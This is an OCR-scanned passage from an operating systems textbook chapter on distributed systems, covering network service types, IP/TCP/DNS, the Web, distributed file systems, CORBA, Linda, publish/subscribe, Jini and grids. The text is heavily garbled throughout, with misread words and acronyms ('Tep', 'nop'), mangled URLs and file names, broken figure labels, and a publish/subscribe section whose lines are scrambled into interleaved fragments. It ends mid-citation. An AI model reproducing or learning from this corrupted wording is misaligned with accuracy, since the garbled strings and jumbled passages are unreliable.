Connection�oriented service is modeled after the telephone system. To tal� t.o 
someone, you pick up the phone, dial the number, talk, and then hang up. SImI
larly, to use a connection-oriented network service, the service user fir�t estab
lishes a connection, uses the connection, and then releases the connectIOn. The 
essential aspect of a connection is that it acts like a tube: the sender pushes objects 
(bits) in at one end, and the receiver takes them out in the same order at the other 
end. 

In contrast connectionless service is modeled after the postal system. Each 
message (lette�) carries the full destination address, and each one is routed 
through the system independent of all the others. Normally, when two messa.ges 
are sent to the same destination, the first one sent will be the first one to anwe. 
However, it is possible that the first one sent can be delayed so that the second 
one arrives first. With a connection-oriented service this is impossible. 

Each service can be characterized by a quality of service. Some services are 
reliable in the sense that they never lose data. Usually, a reliable service is imple
mented by having the receiver confirm the receipt of �ach messa�e b� sending 
back a special acknowledgement packet so the sender IS sure

. 
that It amved. The 

acknowledgement process introduces overhead and delays, which are necessary to 
detect packet loss, but which do slow things down. 

. . ' A typical situation in which a reliable connection-oriented serVIce IS �ppro�n
ate is file transfer. The owner of the file wants to be sure that all the bIts arrIve 
correctly and in the same order they were sent. Very few file transfer customers 
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would prefer a service that occasionally scrambles or loses a few bits, even if it is 
much faster. 

Reliable connection-oriented service has two minor variants: message se
quences and byte streams. In the former, the message boundaries are preserved. 
When two l-KB messages are sent, they arrive as two distinct l-KB messao-es 
never as one 2-KB ,message. In the latter, the connection is simply a strea� of 
bytes, with no message boundaries. When 2K bytes arrive at the receiver, there is 
no way to tell if they were sent as one 2-KB message, two l-KB messages, or 
2048 I-byte messages. If the pages of a book are sent over a network to an 
imagesetter as separate messages, it might be important to preserve the message 
boundaries. On the other hand, with a terminal logging into a remote timesharing 
system, a byte stream from the terminal to the computer is all that is needed. 

For some applications, the. delays introduced by acknowledgements are unac
ceptable. One such application is digitized voice traffic. It is preferable for tele
phone users to hear a bit of noise on the line or a garbled word from time to time 
than to introduce a delay to wait for acknowledgements. 

Not all applications require connections. For example, to test the network, all 
that is needed is a way to send a single packet that has a high probability of ar
rival, but no guarantee. Unreliable (meaning not acknowledged) connectionless 
service is often called datagram service, in analogy with telegram service, which 
also does not provide an acknowledgement back to the sender. 

In other situations, the convenience of not having to establish a connection to 
send one short message is desired, but reliability is essentiaL The acknowledged 
datagram service can be provided for these applications. It is like sending a reg
istered letter and requesting a return receipt. When the receipt comes back, the 
sender is absolutely sure that the letter was delivered to the intended party and not 
lost along the way. 

Still another service is the request-reply service. In this service the sender 
transmits a Single datagram containing a request; the reply contains the answer. 
For example, a query to the local library asking where Uighur is spoken falls into 
this category. Request-reply is commonly used to implement communication in 
the client-server model: the client issues a request and the server responds to it. 
Figure 8-33 summarizes the types of services discussed above. 

Network Protocols 

All networks have highly specialized rules for what messages may be sent and 
what responses may be returned in response to these m�ssages. For example, 
under certain circumstances (e.g., file transfer), when a message is sent from a 
source to a destination, the destination is required to send an acknowledgement 
back indicating correct receipt of the message. Under other circumstances (e.g., 
digital telephony), no such acknowledgement is expected. The set of rules by 
which particular computers communicate is called a protocoL Many protocols 
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Service Example 

Cooooctioo·orieoted { 
COMectioo'ess { 

Rellable message stream Sequence of pages of a book 
Aeliable byte stream Remote login 
Unreliable connection Digitized voice 
Unreliable datagram Network test packets 
ACknowledged datagram Registered mail 
Request-reply Database query 

Figure 8·33. Six different types of network service. 

exist, including router-fouter protocols, host-host protocols, and others. For a 
. thorough treatment of computer networks and their protocols, see Computer Net
works (Tanenbaum, 2003). 

All modem networks use what is called a protocol stack to layer different 
protocols on top of one another. At each layer, different issues are dealt with. For 
example, at the bottom level protocols define how to tell where in the bit stream a 
packet begins and ends. At � higher level, protocols deal with how to route �ack
ets through complex networks from source to destination. And at a still hl?her 
level, they make Sure that all the packets in a multipacket message have amved 
correctly and in the proper order. 

Since most distributed systems use the Internet as a base, the key pr9tocols 
these systems use are the two major Internet protocols: IP and TCP. IP (Internet 
Protocol) is a datagram protocol in which a sender injects a datagram of up to 64 
KB into the network and hopes that it arrives. No guarantees are given. The 
datagram may be fragmented into smaller packets as it passes through the Inter
net. These packets travel independently, possibly along different routes. When all 
the pieces get to the destination, they are assembled in the correct order and 
delivered. 

Two versions of IP are currently in use, v4 and v6. At the moment, v4 still 
dominates, so we will describe that here, but v6 is up and coming. Each v4 packet 
starts with a 40-byte header that contains a 32-bit source address and a 32-bit 
destination address among other fields. These are called IP addresses and form 
the basis of routing in the Internet. They are conventionally written as four 
decimal numbers in the range 0-255 separated by dots, as in 192.31.231.65. 
When a packet anives at a router, the router extracts the IP destination address 
and uses that for routing the packet. 

Since IF datagrams are not acknowledged, IF alone is not sufficient for reli
able communication in the Internet. To provide reliable communication, another 
protocol, Tep (Transmission -Control Protocol), is usually layered on top of IP. 
TCP uses IP to provide connection-oriented streams. To use TCP, a process first 
establishes a connection to a remote process. The process required is specified by 
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. 
address o� a mac!ll�e a�d a �ort number 

.on that machine, to which processes �n�erested m receI�mg mcommg connections listen. Once that has been done, It Just pumps bytes mto the connection and they are guaranteed to COme out the
. 
other e

.
nd undamaged and in the correct order. The TCP implementation a?hieves 

. 
thIS guarantee �y using sequence numbers, checksums, and retransmisslon� ?f Incorrectly ,receIved packets. All of this is transparent to the sending and receIvmg.processes. They just see reliable interprocess communication, just like a UNIX pIpe . 

To see how aU these protocols interact, consider the simplest case of a very small message that does not need to be fragmented at any leveL The host is on an Ethernet connected to the Internet. What happens exactly? The user process generates the message and makes a system call to send it on a previously established TCP connection. The kernel protocol stack adds a TCP header and then an IP header t� the
. 

front. Then it goes to the Ethernet driver, which adds an Ethernet header dlf�ctmg the packet to the router on the Ethernet. This router then injects the packet mto the Internet, as depicted in Fig. 8-34. 

Internet 

Host RO'�U"'e:,�:::;:;:::;:;::;::;:;;'--
Ethernet 1 

Headers 

Figure 8·34. , Accumulation of packet headers. 

. 
To establish a co�nection with a remote host (or even to send it a datagram), it 

�s necess�ry to know Its IP address. Since managing lists of 32-bit IP addresses is 
mconvement for people, a scheme called DNS (Domain Name System) was in
vente� �s a d�tabase that maps ASCII names for hosts onto their IP addresses. 
Thus It IS posslble to Use the DNS name star.cs. vu.nl instead of the corresponding 
IP address 130.37.24.6. DNS names are widely known because Internet e-mail 
addresses ar

.
e of the form user-nar:ze@DNS-host-name. This naming system al

lows t?e mail program on the sendmg host to look up the destination host's IP ad
dress m the DNS database, establish a TCP connection to the mail daemon proc
ess. there, .and send the message as a file. The user-name is sent along to identify 
WhICh maIlbox to put the message in. 
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8.4.3 Document-Based Middleware 

Now that we have some background on networks and protocols, we can start 
looking at different middleware layers that can overlay the basic network to pro
duce a consistent paradigm for applications and users. We will start 

,
with a sim

ple, but well-known example: the World Wide Web. The Web was mvented �Y 
Tim Bemers-Lee at CERN, the European Nuclear Physics Research Center, m 
1989 and has spread like wildfire all over the world since then. 

The original paradigm behind the Web was quite simple: every comp?ter can 
hold one or more documents, called Web pages. Each Web page contaInS text, 
images, icons, sounds, movies, and the like. as well as hyperlinks (pointers) to 
other Web pages. When a user requests a Web page using a program called a 
Web browser, the page is displayed on the screen. Clicking on a link causes the 
current page to be replaced on the screen by the page pointed to. Althou.gh many 
bells and whistles have recently been grafted onto the Web, the underlymg para
digm is still clearly present: the \Veb is a great big directed graph of documents 
that can point to other documents, as shown in Fig. 8-35. 

Figure 8-35. The Web is a big directed graph of documents. 

Each Web page has a unique address, called a URL (Uniform Resource 
Locator), of the form protocol:IIDNS-nameljile-name. The protocol is most com
monly http (HyperText Transfer Protocol), but ftp and others also exist. Then 
comes the DNS name of the host containing the file. Finally, there is a local file 
name telling which file is needed. 

The way the whole system hangs together is as follows. The Web is fun�a
mentally a client-server system, with the user being the client and the Web SIte 
being the server. When the user provides the browser with a URL, either by typ
ing it in or clicking on a hyperlink on the current page, the browser takes certain 
steps to fetch the requested Web page. As a simple example, suppose the URL 
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provided is http://www.minix3.orgldocljaq.html. The browser then takes the fol
lowing steps to get the page. 

1. The browser asks DNS for the IP address of www.minix3.org. 

2. DNS replies with 130.37.20.20. 

3. The browser makes a Tep connection to port 80 on 130.37.20.20. 

4. It then sends a request asking for the file docljaq.html. 

s. The www.acm.org server sends the file doc/faq.html. 

6. The TCP connection is released. 

7. The browser displays ?ll the text in docljaq.html. 

8. The browser fetches and displays all images in docljaq.html. 

To a first approximation, that is the basis of the Web and how it works. Many 
other features have since been added to the basic Web, including style sheets, 
dynamic Web pages that are generated on-the-fly, Web pages that contain small 
programs or scripts that execute on the client machine, and more, but they are out
side the scope of this discussion. 

8.4.4 File-System-Based Middleware 

The basic idea behind the Web is to make a distributed system look like a 
giant collection of hyperlinked documents. A second approach is to make a dis� 
tributed system look like a great big file system. In this section we will look at 
some of the issues involved in designing a worldwide file system. 

Using a file system model for a distributed system means that there is a single 
global file system, with users all over the world able to read and write files for 
which they have authorization. Communication is achieved by having one process 
write data into a file and having other ones read them back. Many of the standard 
file system issues arise here, but also some new ones related to distribution. 

Transfer Model 

The first issue is the choice between the upload/download model and the 
remote access model. In the fonner, shown in Fig, 8-36(a), a·process accesses a 
file by first copying it from the remote server where it liVeS. If the file is only to 
be read, the file is then read locally, for high performance. If the file is to be writ
ten, it is written locally, When the process is done with it, the updated file is put 
back on the server. With the remote access model, the file stays on the server and 
the client sends commands there to get work done there, as shown in Fig. 8-36(b). 
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1. Client fetches file 

Client 1 �oldfile CTient Server 

� D Reques\ � , 

\ 
New file 

Reply 

2. Accesses are 3. When client is FHa slays 
done on the done, file is on server 
client returned to servef 

(e) (b) 

Figure 8�36. (a) The upload/download model. (b) The remote access model. 

The advantages of the upload/download model are its simplicity, and the fact 
that transferring entire files at once is more efficient than transferring them in 
small pieces. The disadvantages are that there must be enough storage for the en
tire file locally, moving the entire file is wasteful if only parts of it are needed, 
and consistency problems arise if there are multiple concurrent users. 

The Directory Hierarchy 

Files are only part of the story. The other part is the directory system. All dis� 
tributed file systems support directories containing multiple files. The next design 
issue is whether all clients have the same view of the directory hierarchy. As an 
example of what we mean, consider Fig. 8-37. In Fig. 8-37(a) we show two file 
servers, each holding three directories and some files. In Fig. 8-37(b) we have a 
system in which all clients (and other machines) have the same view of the dis
tributed file system. If the path /D/E/x is valid on one machine, it is valid on all of 
them. 

In contrast, in Fig. 8-37(c), different machines can have different views of the 
file system. To repeat the preceding example, the path /D/Elx might well be valid 
on client 1 but not on client 2. In systems that manage multiple file servers by re
mote mounting, Fig. 8-37(c) is the nonn. It is flexible and straightforward to im
plement, but it has the disadvantage of not making the entire system behave like a 
single old-fashioned timesharing system. In a timesharing system, the file system 
looks the same to any process, as in the model of Fig. 8-37(b). This property 
makes a system easier to program and understand. 

A closely related question is whether or not there is a global root directory, 
which all machines recognize as the root. One way to have a global root directory 
is to have the root contain one entry for each server and nothing else. Under these 
circumstances, paths take the fonn /serverlpath, which has its own disadvantages, 
but at least is the same everywhere in the system. 
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File server 1 Client 1 Client 1 

Root 

File server 2 Client 2 Clien! 2 

rtln 
Roo! Root 

(e) 

(b) 

(e) 

Figure 8-37. (a) Two file servers. The squares are directories and the circles are 
files. (b) A s�ste� in v:hich all clients have the same view of the file system. 
(c) A system m whIch dlfferen

.
t clients may have different views of the file sys

tem. 

Naming Transparency 

591 

The principal problem with this form of naming is that it is not fuUy transparen�. �o forms of transparency are relevant in this context and are worth distingllls�ng. The first one, loc.ation transparency, means that the path name gives no hint as �o where the file IS located. A path like /serverlklir!/dir2/x teUs everyone that x I� located on server 1, but it does not tell where that server is located. The serv�r IS free to move anywhere it wants to in the network without the path name havmg to be changed. Thus this system has location transparency. However, suppose that file x is extremely large and space is tight on server 1. Furthennore, suppose that there is plenty of room on server 2. The system might 
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well like to move x to server 2 automatically. Unfortunately, when the first com
ponent of all path names is the server, the system cannot move the file to the other 
server automatically, even if dirl and dir2 exist on both servers. The problem is 
that moving the file automatically changes its path name from /serverl/dirl/dir2/x 
to Iserver2ldirlldir2lx. Programs that have the fonner string built into them will 
cease to work if the path changes. A system in which files can be moved without 
their names changing is said to have location independence . A distributed sys
tem that embeds machine or server names in path names clearly is not location in
dependent. One based on remote mounting is not either, since it is not possible to 
move a file from one file group (the unit of mounting) to another and still be able 
to use the old path name. Location independence is not easy to achieve, but it is a 
desirable property to have in a distributed system. 

To summarize what we said earlier, there are three common approaches to file 
and directory naming in a distributed system: 

1. Machine + path naming, such as Imachinelpath or machine:path. 

2. Mounting remote file systems onto the local file hierarchy. 

3. A single name space that looks the same on all machines. 

The first two are easy to implement, especially as a way to connect existing sys
tems that were not designed for distributed use. The latter is difficult and requires 
careful design, but makes life easier for programmers and users. 

Semantics of File Sharing 

Wheg two or more users share the same file, it is necessary to define the 
semantics of reading and writing precisely to avoid problems. In single-processor 
systems the semantics nonnally state that when a read system call fonows a write 
system call, the read returns the value just written, as shown in Fig. 8-38(a). Sim
ilarly, when two writes happen in quick succession, followed by a read, the value 
read is the value stored by the last write. In effect, the system enforces an order
ing on all system cans, and all processors see the same ordering. We will refer to 
this model as sequential consistency. 

In a distributed system, sequential consistency can be achieved easily as long 
as there is only one file server and clients do not cache files. All reads and writes 
go directly to the file server, which processes them strictly sequentially. 

In practice, however, the performance of a distributed system in which all file 
requests must go to a single server is frequently poor. This problem is often solved 
by allowing clients to maintain local copies of heavily used files in their private 
caches. However, if client I modifies a cached file locally and shortly thereafter 
client 2 reads the file from the server, the second client will get an obsolete file, as 
illustrated in Fig. 8-38(b). 

.. _-------- -------------
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3. Read gets "ab" 

�igure 8
.
�38. (a) Sequential consistency. (b) In a distributed system with cach� 

mg, readmg a file may return an obsolete value. 

One way .out of �is difficulty is to propagate all changes to cached files back 
t? the server Imm�diately . . Alt�ough conceptually simple, this approach is ineffi
cIen� .

. 
An alternative solutlOn IS to relax the semantics of file sharing. Instead of 

requmng
. 
a
"
read to see the effects of all previous writes, one can have a new rule 

that says. Changes to an open file are initially visible only to the process that 
made 

,
�em. Only. when the file is closed are the changes visible to other proc

ess�. The adoptIon of such a rule does not change what happens in Fi(J. 8-38(b) 
bu� It does redefine the actual behavior (B getting the original value of fue file) a� 
bemg the correct one. When client 1 closes the file, it sends a copy back to the 
server, so that subsequent reads g�t the new value, as required>Effectively, this is 
the uploadf�ownload model of Fig. 8-36. This semantic ' rule is widely imple
mented and IS known as session semantics. 

. 
Using s�sion semantics r�ses the question of what happens if two or more 

clIents are slmulta
.
ne�usly cach�ng and modifying the same file. One solution is to 

say that as each file IS closed III turn, its value is sent back to the server, so the 
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final result depends on who closes last. A less pleasant, but slightly easier to im
plement, alternative is to say that the final result is one of the candidates, but 
leave the choice of which One unspecified. 

An alternative approach to session semantics is to use the upload/download 
model, but to automatically lock a file that has been downloaded. Attempts by 
other clients to download the file will be held up until the first client has returned 
it. If there is a heavy demand for a file, the server could send messages to the cli
ent holding the file, asking it to hurry up, but that may or may not help. All in all, 
getting the semantics of shared files right is a tricky business with no elegant and 
efficient solutions. 

8.4.5 Object-Based Middleware 

Now let us take a look at a third paradigm. Instead of saying that everything is 
a document or everything is a file, we say that everything is an object. An object 
is a collection of variables that are bundled together with a set of access proce
dures, called methods. Processes are not permitted to access the variables direct
ly. Instead, they are required to invoke the methods. 

Some programming languages, such as C++ and Java, are object oriented, but 
these are language-level objects rather than run-time objects. One well-known 
system based on run-time objects is CORBA (Common Object Request Broker 
Architecture) (Vinoski, 1997). CORBA is a client-server system, in which .client 
processes on client machines can invoke operations on objects located on (possib
ly remote) server machines. COREA was designed for a heterogeneous system 
running a variety of hardware platforms and operating systems and programmed 
in a variety of languages. To make it possible for a client on one platform to 
invoke a server on a different platform, ORBs (Object Request Brokers) are 
interposed between client and server to allow them to match up. The ORBs play 
an important role in CORBA, even providing the system with its name. 

Each CORBA object is defined by an interface definition in a language called 
IDL (Interface Definition Language), which tells what methods the object 
exports and what parameter types each one expects. The IDL specification can be 
compiled into a client stub procedure and stored in a library. If a client process 
knows in advance that it will need to access a certain object, it is linked with the 
object's client stub code. The IDL specification can also be compiled into a skele
ton procedure that is used on the server side. If it is not known in advance which 
COREA objects a process needs to use, dynamic invocation is also possible, but 
how that works is beyond the scope of our treatment. 

When a CORBA object is created, a reference to it is also created and re
turned to the creating process. This reference is how the process identifies the ob
ject for subsequent invocations of its methods. The reference can be passed to 
other processes or stored in an object directory. 
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To invoke

. 
a method on an object, a client process must first acquire a reference to the o�Ject. The ref�ren�e can come either directly from the creating process or, more hkely, by looking It up by name or by function in some kind of directory. Once the object refer�nce is available, the client process marshals the parameters to the method calls Into a convenient structure and then contacts the client ?RB. In tum, the client OR� sends a message to the server ORB, which actually Invokes the method on the Object. The whole mechanism is similar to RPC. The function of the ORBs is to hide all the low-level distribution and communicati?n details from the client and server code. In particular, the ORBs hide from the

. 
chent the location of the server, whether the server is a binary program Or a 

�cnpt, what har�ware and operating system the server runs on, whether the object IS currently actIve, and how the two ORBs communicate (e.g., TCPIIP, RPC, shared memory, etc.). . 
In the first version of CORBA, the protocol between the client ORB and the server ORB was not specified. As a result, every ORB vendor used a different protocol �nd no two of them could talk to each other. In version 2.0, the protocol was speCIfied. For communication over the Internet, the protocol is called nop (Internet InterOrb Protocol). 
To make it possible to use objects that were not written for CORBA with CORBA systems, every object can be equipped with an object adapter. This is a wrapper that h

.
and�es chores .such as registering the object, generating object references, and actIvatmg the object if it is invoked when it is not active. The arrangement of all these CORBA parts is shown in Fig. 8-39. 

Client 
code 

Client Clientst b u Skeleton " , s erver 

C]Y' 'jD 
Object 

C ·'Client RB i;, adapter <··'Serve fORB '" 
Operating system Operating system 

""-- IIOP protocol /'1 
\ 

Network 

Figure 8-39. The main elements of a distributed system based on CORBA. The 
CORBA parts are shown in gray. 

Server 
code 

A seri?us problem with CORBA is that every object is located on only one 
server, wh�ch means. the performance will be terrible for objects that are heavily 
used on chent machmes around the world. In practice, CORBA only functions 
acceptably in small-scale systems, such as to connect processes On one computer 
One LAN, or within a single company. 

' 
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8.4.6 Coordination-Based Middleware 

OUf last paradigm for a distributed system is called coordination�based 
middleware. We will start with the Linda system, an academic research project 
that started the whole field, and then look at two commercial examples heavily 
inspired by it: publish/subscribe and Jini. 

Linda 

Linda is a novel system for communication and synchronization developed at 
Yale University by David Gelernter and his student Nick Carriero (Carriero and 
Gelernter 1986- Carriero and Gelernter, 1989; and Gelernter, 1985). In Linda, io
dependen� proc;sses communicate via an abstract tuple space. The tuple space is 
global to the entire system, and processes on any machine can insert tuples into 
the tuple space or remove tuples from the tuple space without regard to how or 
where they are stored. To the user, the tuple space looks like a big, global shared 
memory, as we have seen in various forms before, as in Fig. 8-21(c). 

A tuple is like a structure in C or Java. It consists of one or mo:e fie�d�, each 
of which is a value of some type supported by the base language (Lmda IS Imple
mented by adding a library to an existing language, such as C). For C-Linda, field 
types include integers, long integers, and floating-point numbers, as well as com
posite types such as arrays (including strings) and structures (but nO

.
t other tuples). 

Unlike Objects, tuples are pure data; they do not have any assocIated methods. 
Figure 8-40 shows three tuples as examples. 

("abc", 2, 5) 
("matrix-1U, 1 , 6, 3.14) 
("family", "is-sister", "Stephany�, "Roberta�) 

Figure 8-40. Three Linda tuples. 

Four operations are provided on tuples. The first one, out, puts a tuple into the 
tuple space. For example, 

out("abc", 2, 5); 

puts the tuple ("abc", 2, 5) into the tuple space. The fields of out are normally con
stants, variables, or expressions, as in 

out("matrix-1 ", i, j, 3.14); 

which outputs a tuple with four fields, the second and third of which are deter
mined by the current values of the variables i andj. 

Tuples are retrieved from the tuple space by the in primitive. They are ad
dressed by content rather than by name or address. The fields of in can be expres
sions or formal parameters. Consider, for example, 
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in("abc", 2, ?i); 

This operation "searches" the tuple space for a tuple consisting of the strina 
"abc", the integer 2, and a third field containing any integer (assuming that i is a� 
integer). If found, the tuple is removed from the tuple space and the variable i is 
assigned the value of the third field. The matchina and removal are atomic so if 
two processes execute the same in operation sir:ultaneously, only one ot' them 
will succeed, unless two or more matching tuples are present. The tupJe space 
may even contain multiple copies of the same tuple. 

The matching algorithm used by in is straightforward. The fields of the in 
primitive, called the template, are (conceptually) compared to the corresponding 
fields of every tuple in the tuple space. A match occurs if the following three con
ditions are all met: 

1. The template and the tuple have the same number of fields. 

2. The types of the corresponding fields are equal. 

3. Each constant or variable in the template matches its tuple field. 

Formal parameters, indicated by a question mark followed by a variable name or 
type, do not participate in the matching (except for type checking), although those 
containing a variable name are assigned after a successful match. " 

If no matching tuple is present, the calling process is suspended until another 
process inserts the needed tuple, at which time the caller is automatically revived 
and given the new tuple. The fact that processes block and unblock automatically 
means that if one process is about to output a tuple and another is about to input it, 
it does not matter which goes first. The only difference is that if the in is done be
fore the out, there will be a slight delay until the tuple is available for removal. 

The fact that processes block when a needed tuple is not present can be put to 
many uses. For example, it can be used to implement semaphores. To create or 
do an up on semaphore S, a process can execute 

out("semaphore S"); 

To do a down, it does 

in ("semaphore S"); 

!he state of semaphore S is determined by the number of ("semaphore S") tuples 
m the tuple space. If none exist, any attempt to get one will block until some 
other process supplies one. . / 

In addition to out and in, Linda also has a primitive read, which is the same as 
in except that it does not remove the tuple from the tuple space. There is also a 
primitive eval, which causes its parameters to be evaluated in parallel and the re
sulting tuple to be put in the tuple space. This mechanism can be used to perform 
an arbitrary computation. This is how parallel processes are created in Linda. 
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PublisblSubscribe 
. . b d model was inspired by Linda and is 

Our next example ?f a co�rdmatron- ase 
It onsists of a number of processes 

called publish/subscrIbe (Oki et aI., �93)
. C an be a producer of information, 

connected l;>y a broadcast network. Eac process c 

a consumerof informa�on, or bath. ieee of information (e.g., a new 
When an information producer h�S a new 

P I the network This action is 
) . b d asts the infonnatlon as a tup e on 

. 
stock price , it rca c . 

h"erarchical subject line containing mul
called publishing. Each tupl� contamS a I

S that are interested in certain infor
tiple fields separated by penads. processe. I d·ng the use of wildcards in the . b "b to certain subjects me u 1 matIon can su sen. e . . II.

' t pie daemon process on the same 
sub' ect line. Subscnptlon IS done by te mg a u. 
ma�hine that monitors published tuples w�at SUbJe

�
t� t

�
�Oo

�_
�
r When a process 

Publish/subscribe is implemente� as 111ustra
th
te 

l
'"

al1r-Al"{ The tuple daemon 
bi' h . t broadcasts It out onto e oe . 

has a tuple to pu IS ? 1 I . nto its RAM. It then inspects the 
on each machine copIes all broadcasted. tup es 1 . . . a co to each 
subject line to see which processes are mterested �� It:�ar�=��rt or l� Internet 
one that is. Tuples c�n also be �rr1�a�c�:�r a: 7�f�nnation router, collecting all by having one maehme on eac 

d' th to other LANs for rebroadcasting. This 
published tuples and then forw�r m� e

� 1 forwarding a tuple to a remote 
forwarding can also be done mtelhgent y, °

b
n 
Y b  who wants the tuple. Doing 

LAN ·f h t LAN has at least one su sen er 1 t at remo.e . . ters exchange information about sub-
this requires havmg the mfonnation rou 
seribers. 

producer 

Figure 8-41. The publish/subscribe architecture. 

Various kinds of semantics can be implemented, including reliab�e .delive7 
and guaranteed delivery, even in the face of crashes. In th

e latte
t� 
C
:r�:�

l
����

e
�
e
t� 

sary to store old tuples in case they are need�
� late

\ ��:s;:?e to all tuples. This 
hook up a database system to the system an ave 1 . . (J 

can be done by wrapping the database system in an adapter, to allow an eXlsunt> 

SEC. 8.4 DISTRIBUTED SYSTEMS 599 

database to work with the publish/subscribe model. As tuples come by, the 
adapter captures all of them and puts them in the database. 

The publish/subscribe model fully decouples producers from consumers, as 
does Linda. However, sometimes it is useful to know who else is out there. This 
information can be acquired by publishing a tuple that basically asks: "Who out 
there is interested in x?" Responses come back in the form of tuples that say: "I 
am interested in x." 

Jini 

For over 50 years, computing has been CPU-centric, with a computer being a 
freestanding device consisting of a CPU, some primary memory, and nearly al
ways some mass storage such 'as a disk. Sun Microsystems' Jini (a variant spel
ling of genie) is an attempt to change that model to one that might be described as 
network-centric (Waldo, 1999). 

The Jini world consists of a large number of self-contained Jini devices, each 
of which offers one or more services to the others. A Jini device can be plugged 
into a network and begin offering and using services instantly, with no complex 
installation procedure. Note that the devices are plugged into a network, not into a 
computer as is traditionally the case. A Jini device could be a traditiQnal com
puter, but it could also be a printer, handheld computer, cell phone, TV set, stereo, 
or other device with a CPU, some memory, and a (possibly wireless) network 
connection. A Jini system is a loose federation of Jini devices that may come and 
go at will, with no central administration. 

When a Jini device wants to join the Jini federation, it broadcasts a packet on 
the local LAN or in the local wireless cell asking if there is a lookup service pres
ent. The protocol used to find a lookup service is the discovery protocol and is 
one of the few hardwired protocols in JinL (Alternatively, the new Jini device can 
wait until one of the lookup service's periodic announcements comes by, but we 
will not treat this mechanism here.) 

When the lookup service sees that a new device wants to register, it replies 
with a piece of code that can perform the registration. Since Jini is an all-Java sys
tem, the code sent is in JVM (the Java Virtual Machine language), which all Jini 
devices must be capable of running, usually interpretively. The new device now 
runs the code, which contacts the lookup service and registers with it for some 
fixed period of time. Just before the time period expires, the device can reregister 
if it wishes. This mechanism means that a Jini device can just leave the system by 
shutting down and its previous existence wiII soon be forgotten, without the need 
for any central administration. The concept of registering for a fixed time interval 
is called acquiring a lease. 

Note that since the code to register the device is downloaded into the device, 
it can be changed as the system evolves without affecting the hardware or soft
ware of the device. In fact, the device is not even aware of what the registration 



.. 
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protocol is. A part of the registration process that the device is aware of consists 
of it providing some attributes and proxy code that other devices will later use to 
access it. 

A device or user looking for a particular service can ask the lookup service if 
it knows about one. The request may involve some of the attributes that devices 
use when registering. If the request is successful, the proxy that the device pro
vided at registration time is sent back to the requester and is run to contact the de
vice. Thus a device or user can talk to another device without knowing where it is 
or even what protocol it speaks. 

Jini clients and services (hardware or software devices) communicate and 
synchronize using JavaSpaces, which are modeled on the Linda tuple space but 
with some important differences. Each JavaSpace consists of some number of 
strongly typed entries. Entries are like Linda tuples, except that they are strongly 
typed, whereas Linda tuples are untyped. Each entry consists of some number of 
fields, each of which has a basic Java type. For example, an entry of type em
ployee might consist of a string (for the person's name), an integer (for his or her 
department), a second integer (for the telephone extension), and a Boolean (for 
works-full-time). 

Just four methods are defined on a JavaSpace (although two of them have a 
variant fonn): 

L Write: put a new entry into the JavaSpace. 

2. Read: copy an entry that matches a template out of the JavaSpace. 

3. Take: copy and remove an entry that matches a template. 

4. Notify: notify the caller when a matching entry is written. 

The write method provides the entry and specifies its lease time, that is, when it 
should be discarded. In contrast, Linda tuples stay until removed. A JavaSpace 
may contain the same entry multiple times, so it is not a mathematical set (just as 
in Linda). 

The read and take methods provide a template for the entry being sought 
Each field in the template can contain a speciftc value that must be matched, or 
can contain a «don't care" wildcard that matches all values of the appropriate 
type. If a match is found, it is returned, and in the case of take, it is also removed 
from the JavaSpace. Each of these JavaSpace methods has two variants, which 
differ in the case that no entry matches. One variant returns with a failure indica
tion immediately; the other one waits until a timeout (given as a parameter) has 
expired. 

The notify method registers interest in a particular template. If a matching 
entry is later entered, the caller's notify method is invoked. 
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Unlike
, 
Linda's tuple space, JavaSpace supports atomic transactions, Using 

them, multIple methods can be grouped together. They will either all execute or 
none of them will execute. During the transaction, chances that are made to the 
Ja.vaSpace are not visible outside the transaction. Only when the transaction COm
mits do they become visible to other callers. 

JavaSpace can ,� used for synChronization between communicating proc
esses. For example, III a producer-consumer situation, the producer puts items in a !avaSpace as i� produces them. The consumer removes them with take, blocking 
If no�e are avrulable .. JavaSpace guarantees that each of the methods is executed 
atoITIlcally, so there IS no danger of one process trying to read an entry that has 
only been half entered. 

8.4.7 Grids 

, ,
No discussion of distributed systems would be complete without at least men

uom�g � recent developme�t, whi�h may become important in the future: grids. 
A gnd �s a large, geographIcally dIspersed, and usually heterogeneous collection 
of machmes connected by a private network or the Internet, and which offers a a 
set �f �ervices to its users. 

,
It is sometimes compared to a virtual supercomputer, 

but 1� IS mor� t�an t
.
hat. It IS

, 
a collection of independent computers, nonnally in 

multIple admill1strau.ve domams, all of which run a commOn layer of middleware 
t� allow programs and users to access all the resources in a convenient and COn
Sistent way. 

, 
The Original motiv�tio� for ?uilding a grid was sharing CPU cycles. The idea 

I� that when an or�am�atlon dId not need all of its computing power (e.g., at 
mght) another orgalllzanon (perhaps many time zones distant) could harvest those 
cycles and �en re�m the favor 12 hours later. Now, grid researchers also are 
concerned WIth shanng other resources, especially speCialized hardware and data
bases. 

Grids typically work by having each participating machine run a set of pro
grams that manages the machine and integrates it into the grid. This software 
usual�y handles

, 
authentication and login of remote users, resource announcement 

and dlsco�ery, jOb scheduling and placement, and so on. When a user has work to 
do, the gnd software determines where there is idle capacity that has the hard
ware, softw�re, and d,ata reSOurces to do the work, and then ships the job there, 
arranges for Its executIon, and then gets the results back to the user, 

A popular nriddleware in the grid world is the Globus ToolJdt, which is avail
able for nUmerous platforms and supports many (emerging)' grid standards (Foster 
2005). GI�bus provides a framework for users to share computers, files, and othe; 
re�ources In a flexible and secure way without sacrificing local autonomy, It is 
bemg used as a base for building numerous distributed applications. 
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8.5 RESEARCH ON MULTIPLE PROCESSOR SYSTEMS 

In this chapter we have looked at four kinds of mUltiple processor systems: 
multiprocessors, multicomputers, virtual machines, and distributed systems. Let 
us also look briefly at the research in these areas. 

Most of the research on multiprocessors relates to the hardware, in particular, 
how to build the shared memory and keep it coherent (e.g., Higham et a1., 2007). 
However there has also been other work on mUltiprocessors, especially chip mul
tiprocess�rs, including programming models and operating system issues f�r c�ip 
multiprocessors (Fedorova et at, 2005; and Tan et aI., 2007), commumcatlon 
mechanisms (Brisolara et aI., 2007), energy management in software (Park et aI., 
2007), security (Yang and Peng, 2006), and, of course, future challenges (Wolf, 
2004). In addition, scheduling is ever popular (Chen et a1., 2007; Lin and Rajara
man, 2007; Rajagopalan et aI., 2007; Tam et a\., 2007; and Yahav et aI., 2007). . 

Multicomputers are much easier to build than multiprocessors. All that �s 
needed is a collection of PCs or workstations and a high-speed network. For thiS 
reason, they are a popular research topic at universities. A lot of the work relates 
to distributed shared memory in one form or another, sometimes page-based but 
sometimes entirely in software (Byung-Hyun et aL, 2004; Chapman and Heiser, 
